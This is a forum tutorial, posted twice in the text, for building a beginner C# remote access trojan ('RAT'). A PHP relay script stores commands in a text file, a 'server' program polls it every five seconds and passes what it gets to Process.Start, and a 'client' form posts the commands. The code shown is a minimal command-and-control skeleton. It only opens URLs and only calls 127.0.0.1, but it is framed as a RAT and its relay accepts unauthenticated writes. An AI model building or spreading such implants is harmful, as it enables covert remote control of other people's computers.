Feb 6, 2011 07:47 AM
(This post was last modified: Feb 6, 2011 07:48 AM by CaptainBri.)
Make a C# RAT using the DarkCoder PHP method! No port-forwarding!
Hello all, this is my biggest tutorial so far. I would first like to thank DarkCoder for the great idea!
This tutorial is made for absolute-beginners.
If you aren't one of them, skip to the end, download the project and get to work!
First download WampServer, this is to develop your rat. You can download WampServer here:
Then click your version of windows:
![[Image: KMIrK.png]](https://i.imgur.com/KMIrK.png)
Install it, click a couple of times yes, and you're good to go.
Now create a notepad file, and put this code inside of it:
Save it as ''index.php'' and make sure to put the second thingy to ''All Files''
![[Image: c4Zmb.jpg]](https://i.imgur.com/c4Zmb.jpg)
Now copy this index.php to: "C:\wamp\www\captainbri"
If the map ''captainbri'' is not there yet, make one and put the index.php into it.
[img]http://img209.imageshack.us/img209/5159/62274329.gif[/img]
Now open up Visual Studio, create a new C# Project, and name it "c_Server"
![[Image: 8gGCO.jpg]](https://i.imgur.com/8gGCO.jpg)
Now double click the form, you will come into the coding window.
[img]http://img87.imageshack.us/img87/7734/82760167.gif[/img]
Now go to the top of the code, and below ''using System.Windows.Forms;'' put this code:
Now we will write the code to check for any incoming commands.
Make a void called ''Check'', that will check the command and act upon it.
![[Image: MSjQT.jpg]](https://i.imgur.com/MSjQT.jpg)
Now above the ''private void Check()'' part, we make a new WebClient, to download the command.
Like this:
Your code should look like this:
![[Image: sJhEr.jpg]](https://i.imgur.com/sJhEr.jpg)
Now we code the ''Check'' function. We are going to download the command-log and check for a command.
Now the string ''command'' contains the string of the txt file ''log.txt''.
Now we split the string into smaller strings, using the ''.Split'' method.
This probably won't make any sense, I will explain this later.
Now we make a simple ''if'' statement. This won't make any sense either, and I will also explain this later.
And we delete the log after it's succesfully been read.
Your code should look like:
![[Image: 1xaoL.jpg]](https://i.imgur.com/1xaoL.jpg)
On the form_load we make a timer, that will check the command every 5 seconds, like this:
![[Image: YQtex.jpg]](https://i.imgur.com/YQtex.jpg)
Now we insert an event, so the timer will actually check every 5 seconds.
[img]http://img248.imageshack.us/img248/5607/70130498.gif[/img]
Tip: Press tab 2 times when Visual Studio sais so.
Now remove that shitty ''trow new ... code and replace it like this:
![[Image: W920c.jpg]](https://i.imgur.com/W920c.jpg)
And add the code ''tim.Start();'' to the form_load!
Your code should look like this:
![[Image: J79ry.jpg]](https://i.imgur.com/J79ry.jpg)
Now coding the server is done.
Make a new project called ''c_Client'', like this:
![[Image: dB2o1.jpg]](https://i.imgur.com/dB2o1.jpg)
Now add 1 label, 1 button and 1 textbox to the form.
[img]http://img155.imageshack.us/img155/4825/40045997.gif[/img]
Name and edit the controls like this:
Label --> Text = "Enter the website:"
Textbox --> (Name) = "txtWebsite"
Button --> (Name) = "btnStartWebsite"
Like this:
![[Image: c5Y1b.jpg]](https://i.imgur.com/c5Y1b.jpg)
Your form should look like this:
![[Image: SGBvL.jpg]](https://i.imgur.com/SGBvL.jpg)
Now double click the button. Add to the top of your code just beneath ''using System.Windows.Forms;"
this code: "using System.Net;"
Like this:
[img]http://img140.imageshack.us/img140/7754/94622831.gif[/img]
Now create a new WebClient above the button's code:
[img]http://img7.imageshack.us/img7/9964/51338787.gif[/img]
Now write this code, it will send a command to the php, which will fill the log, and the server will read the log.
So, write this:
It will send the command ''website'' and the url of the website you want the server to visit.
Before we run the project, I will show you what happens.
First, you send a command to the PHP file to write "website*" + the website you've entered.
The PHP file writes this to the TXT.
The server reads this TXT and splits it into an array of strings. Let me show you that in a picture.
The command contains:
![[Image: L8wVk.jpg]](https://i.imgur.com/L8wVk.jpg)
And it splits it.
![[Image: gbLHf.jpg]](https://i.imgur.com/gbLHf.jpg)
The command is ''a[0]'' and the website is ''a[1]''!
So, if the command is "website", start the website which is ''a[1]''!
Let's run the project!
The result:
[img]http://img155.imageshack.us/img155/2909/98944277.gif[/img]
Comments are more than welcome, and appriciated at the most!
Thanks for reading my tutorial, I hope you learned something new!
To download this project, visit this link:
To get the password, a simple PM is enough. I do request that the password does not get posted in this thread.
Hello all, this is my biggest tutorial so far. I would first like to thank DarkCoder for the great idea!
This tutorial is made for absolute-beginners.
If you aren't one of them, skip to the end, download the project and get to work!
First download WampServer, this is to develop your rat. You can download WampServer here:
Code
http://www.wampserver.com/en/download.php![[Image: KMIrK.png]](https://i.imgur.com/KMIrK.png)
Install it, click a couple of times yes, and you're good to go.
Now create a notepad file, and put this code inside of it:
Code
<?php
$action = $_GET['action'];
$data = $_GET['data'];
if ($action == "delete"){
unlink("log.txt");
$new = fopen("log.txt", 'a');
fclose($new);
}
if ($action == "write"){
$open = fopen("log.txt", 'a');
fwrite($open, $data);
fclose($open);
}
if ($action == "read"){
echo file_get_Contents("log.txt");
}
?>Save it as ''index.php'' and make sure to put the second thingy to ''All Files''
![[Image: c4Zmb.jpg]](https://i.imgur.com/c4Zmb.jpg)
Now copy this index.php to: "C:\wamp\www\captainbri"
If the map ''captainbri'' is not there yet, make one and put the index.php into it.
[img]http://img209.imageshack.us/img209/5159/62274329.gif[/img]
Now open up Visual Studio, create a new C# Project, and name it "c_Server"
![[Image: 8gGCO.jpg]](https://i.imgur.com/8gGCO.jpg)
Now double click the form, you will come into the coding window.
[img]http://img87.imageshack.us/img87/7734/82760167.gif[/img]
Now go to the top of the code, and below ''using System.Windows.Forms;'' put this code:
Code
using System.Net;
using System.Diagnostics;Now we will write the code to check for any incoming commands.
Make a void called ''Check'', that will check the command and act upon it.
![[Image: MSjQT.jpg]](https://i.imgur.com/MSjQT.jpg)
Now above the ''private void Check()'' part, we make a new WebClient, to download the command.
Like this:
Code
WebClient client = new WebClient();Your code should look like this:
![[Image: sJhEr.jpg]](https://i.imgur.com/sJhEr.jpg)
Now we code the ''Check'' function. We are going to download the command-log and check for a command.
Code
string command = client.DownloadString("http://127.0.0.1/captainbri/log.txt");Now we split the string into smaller strings, using the ''.Split'' method.
Code
string[] a = command.Split('*');Now we make a simple ''if'' statement. This won't make any sense either, and I will also explain this later.
Code
if (a[0] == "website")
{
Process.Start(a[1]);
}And we delete the log after it's succesfully been read.
Code
client.DownloadString("http://127.0.0.1/captainbri/index.php?action=delete");Your code should look like:
![[Image: 1xaoL.jpg]](https://i.imgur.com/1xaoL.jpg)
On the form_load we make a timer, that will check the command every 5 seconds, like this:
![[Image: YQtex.jpg]](https://i.imgur.com/YQtex.jpg)
Now we insert an event, so the timer will actually check every 5 seconds.
[img]http://img248.imageshack.us/img248/5607/70130498.gif[/img]
Tip: Press tab 2 times when Visual Studio sais so.
Now remove that shitty ''trow new ... code and replace it like this:
![[Image: W920c.jpg]](https://i.imgur.com/W920c.jpg)
And add the code ''tim.Start();'' to the form_load!
Your code should look like this:
![[Image: J79ry.jpg]](https://i.imgur.com/J79ry.jpg)
Now coding the server is done.
Make a new project called ''c_Client'', like this:
![[Image: dB2o1.jpg]](https://i.imgur.com/dB2o1.jpg)
Now add 1 label, 1 button and 1 textbox to the form.
[img]http://img155.imageshack.us/img155/4825/40045997.gif[/img]
Name and edit the controls like this:
Label --> Text = "Enter the website:"
Textbox --> (Name) = "txtWebsite"
Button --> (Name) = "btnStartWebsite"
Like this:
![[Image: c5Y1b.jpg]](https://i.imgur.com/c5Y1b.jpg)
Your form should look like this:
![[Image: SGBvL.jpg]](https://i.imgur.com/SGBvL.jpg)
Now double click the button. Add to the top of your code just beneath ''using System.Windows.Forms;"
this code: "using System.Net;"
Like this:
[img]http://img140.imageshack.us/img140/7754/94622831.gif[/img]
Now create a new WebClient above the button's code:
[img]http://img7.imageshack.us/img7/9964/51338787.gif[/img]
Code
WebClient client = new WebClient();Now write this code, it will send a command to the php, which will fill the log, and the server will read the log.
So, write this:
Code
client.DownloadString("http://127.0.0.1/captainbri/index.php?action=write&data=website*" + txtWebsite.Text);Before we run the project, I will show you what happens.
First, you send a command to the PHP file to write "website*" + the website you've entered.
The PHP file writes this to the TXT.
The server reads this TXT and splits it into an array of strings. Let me show you that in a picture.
The command contains:
![[Image: L8wVk.jpg]](https://i.imgur.com/L8wVk.jpg)
And it splits it.
![[Image: gbLHf.jpg]](https://i.imgur.com/gbLHf.jpg)
The command is ''a[0]'' and the website is ''a[1]''!
So, if the command is "website", start the website which is ''a[1]''!
Let's run the project!
The result:
[img]http://img155.imageshack.us/img155/2909/98944277.gif[/img]
Comments are more than welcome, and appriciated at the most!
Thanks for reading my tutorial, I hope you learned something new!
To download this project, visit this link:
Code
http://www.multiupload.com/DV8YKOVAUM

